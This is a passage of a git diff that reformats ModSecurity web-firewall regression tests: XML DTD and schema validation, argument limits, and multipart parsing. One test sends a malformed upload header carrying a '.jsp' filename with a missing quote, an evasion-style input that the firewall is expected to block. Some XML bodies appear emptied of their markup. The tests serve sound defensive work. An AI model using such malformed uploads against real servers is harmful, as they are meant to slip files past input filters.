"Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (invalid part header - missing trailing quote)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=a", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--a\r\n", + "Content-Disposition: form-data; name=\"file\"; filename=\"1.jsp\r\n", + "\r\n", + "Some content\r\n", + "--a--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code": 403, - "debug_log":"Multipart: Invalid parameter after boundary in C-T \\(tolerated\\).*Added data" + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(-15\\): form-data; name=\"file\"; filename=\"1.jsp", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule ARGS:namea \"@streq 111\" \"phase:2,deny,id:500096\"" + "rules": [ + "SecruleEngine On", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" ] } -] +] diff --git a/test/test-cases/regression/request-body-parser-xml-validade-dtd.json b/test/test-cases/regression/request-body-parser-xml-validade-dtd.json index c01c8c7522..58e1f86899 100644 --- a/test/test-cases/regression/request-body-parser-xml-validade-dtd.json +++ b/test/test-cases/regression/request-body-parser-xml-validade-dtd.json @@ -1,25 +1,28 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser - validateDTD (validate ok)", - "expected":{ - "debug_log": "XML: Successfully validated payload against DTD: test-cases/data/SoapEnvelope.dtd" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser - validateDTD (validate ok)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "234" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " ", @@ -32,40 +35,50 @@ " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" + "expected": { + "debug_log": "XML: Successfully validated payload against DTD: test-cases/data/SoapEnvelope.dtd", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser - validateDTD (validation failed)", - "expected":{ - "debug_log": "XML Error: No declaration for element xBody", - "http_code": 403 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser - validateDTD (validation failed)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "264" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " ", @@ -78,40 +91,50 @@ " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML Error: No declaration for element xBody", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser - validateDTD (bad XML)", - "expected":{ - "debug_log": "XML: DTD validation failed because content is not well formed", - "http_code": 403 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser - validateDTD (bad XML)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "229" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", "", @@ -124,40 +147,50 @@ " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" + "expected": { + "debug_log": "XML: DTD validation failed because content is not well formed", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser - validateDTD (bad DTD)", - "expected":{ - "debug_log": "Failed to load DTD: test-cases/data/SoapEnvelope-bad.dtd", - "http_code": 403 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser - validateDTD (bad DTD)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "262" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " ", @@ -170,17 +203,24 @@ " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Failed to load DTD: test-cases/data/SoapEnvelope-bad.dtd", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope-bad.dtd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope-bad.dtd\" \"id:500007,phase:3,deny\"" ] } ] - diff --git a/test/test-cases/regression/request-body-parser-xml.json b/test/test-cases/regression/request-body-parser-xml.json index 072912d411..cd4426c7fa 100644 --- a/test/test-cases/regression/request-body-parser-xml.json +++ b/test/test-cases/regression/request-body-parser-xml.json @@ -1,25 +1,28 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser (validate ok)", - "expected":{ - "debug_log": "XML: Successfully validated payload against Schema:" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser (validate ok)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "675" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML: Successfully validated payload against Schema:", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser (validate attribute value failed)", - "expected":{ - "debug_log": "'badval' is not a valid value of the local atomic type", - "http_code": 403 + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser (validate attribute value failed)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "736" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "'badval' is not a valid value of the local atomic type", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser (validate failed)", - "expected":{ - "debug_log": "This element is not expected. Expected is one of", - "http_code": 403 + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser (validate failed)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "709" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" + "expected": { + "debug_log": "This element is not expected. Expected is one of", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser (bad XML)", - "expected":{ - "debug_log": "XML Error: Element '{http://schemas.xmlsoap.org/soap/envelope/}xBody'", - "http_code": 403 + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser (bad XML)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "709" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ - "", - " ", - " ", - " ", - " 12123", - " ", - " ", - " " + "", + " ", + " ", + " ", + " 12123", + " ", + " ", + " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML Error: Element '{http://schemas.xmlsoap.org/soap/envelope/}xBody'", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope.xsd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser (bad schema)", - "expected":{ - "debug_log": "XML: Failed to load Schema: test-cases/data/SoapEnvelope-bad.xsd. XML Error: Failed to parse the XML resource 'test-cases/data/SoapEnvelope-bad.xsd", - "http_code": 403 + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser (bad schema)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "683" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " " ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML: Failed to load Schema: test-cases/data/SoapEnvelope-bad.xsd. XML Error: Failed to parse the XML resource 'test-cases/data/SoapEnvelope-bad.xsd", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope-bad.xsd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML \"@validateSchema test-cases/data/SoapEnvelope-bad.xsd\" \"id:500007,phase:3,deny\"" ] } ] - diff --git a/test/test-cases/regression/rule-920120.json b/test/test-cases/regression/rule-920120.json index cdc437074f..534cc833f4 100644 --- a/test/test-cases/regression/rule-920120.json +++ b/test/test-cases/regression/rule-920120.json @@ -1,65 +1,65 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: OWASP CRS id:920120", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: OWASP CRS id:920120", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept-Language":"en-us,en;q=0.5", - "Accept":"*/*", - "Content-Length":"411", - "Content-Type":"multipart/form-data; boundary=---------------------------265001916915724", - "Proxy-Connection":"keep-alive", - "Keep-Alive":"300" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept-Language": "en-us,en;q=0.5", + "Accept": "*/*", + "Content-Length": "413", + "Content-Type": "multipart/form-data; boundary=---------------------------265001916915724", + "Proxy-Connection": "keep-alive", + "Keep-Alive": "300" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ - "-----------------------------265001916915724\r", - "Content-Disposition: form-data; name=\"fi;le\"; filename=\"test\"\r", - "Content-Type: application/octet-stream\r", - "\r", - "Rotem & Ayala\r", - "\r", - "-----------------------------265001916915724\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "tt2\r", - "-----------------------------265001916915724\r", - "Content-Disposition: form-data; name=\"B1\"\r", - "\r", - "Submit\r", - "-----------------------------265001916915724--\r" + "-----------------------------265001916915724\r\n", + "Content-Disposition: form-data; name=\"fi;le\"; filename=\"test\"\r\n", + "Content-Type: application/octet-stream\r\n", + "\r\n", + "Rotem & Ayala\r\n", + "\r\n", + "-----------------------------265001916915724\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "tt2\r\n", + "-----------------------------265001916915724\r\n", + "Content-Disposition: form-data; name=\"B1\"\r\n", + "\r\n", + "Submit\r\n", + "-----------------------------265001916915724--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":400 + "expected": { + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,deny,block,status:400,log\"", "SecRule FILES_NAMES|FILES \"@rx (?\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "Executing unconditional rule", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", diff --git a/test/test-cases/regression/secargumentslimit.json b/test/test-cases/regression/secargumentslimit.json index 8f556b3596..d763f42063 100644 --- a/test/test-cases/regression/secargumentslimit.json +++ b/test/test-cases/regression/secargumentslimit.json @@ -1,24 +1,25 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing SecArgumentLimit not over limit (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing SecArgumentLimit not over limit (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Content-Type":"application/json" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Content-Type": "application/json", + "Content-Length": "86" }, - "uri":"/?foo=bar", - "method":"POST", + "uri": "/?foo=bar", + "method": "POST", "body": [ "{", " \"k1\":\"v1\",", @@ -29,11 +30,19 @@ "}" ] }, - "expected":{ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": " Running action deny", - "http_code":403 + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecArgumentsLimit 6", "SecRule REQUEST_HEADERS:Content-Type \"^application/json\" \"id:'200001',phase:1,t:none,pass,nolog,ctl:requestBodyProcessor=JSON\"", @@ -42,25 +51,26 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing SecArgumentLimit over limit (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing SecArgumentLimit over limit (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Content-Type":"application/json" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Content-Type": "application/json", + "Content-Length": "86" }, - "uri":"/?foo=bar", - "method":"POST", + "uri": "/?foo=bar", + "method": "POST", "body": [ "{", " \"k1\":\"v1\",", @@ -71,11 +81,19 @@ "}" ] }, - "expected":{ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Skipping request argument, over limit", - "http_code":400 + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecArgumentsLimit 5", "SecRule REQUEST_HEADERS:Content-Type \"^application/json\" \"id:'200001',phase:1,t:none,pass,nolog,ctl:requestBodyProcessor=JSON\"", diff --git a/test/test-cases/regression/secmarker.json b/test/test-cases/regression/secmarker.json index 20c20bce70..5723f2abd2 100644 --- a/test/test-cases/regression/secmarker.json +++ b/test/test-cases/regression/secmarker.json @@ -15,8 +15,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -24,33 +24,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "Target value: \"test", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -76,8 +78,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -85,33 +87,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "Rule: 6", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", diff --git a/test/test-cases/regression/secruleengine.json b/test/test-cases/regression/secruleengine.json index 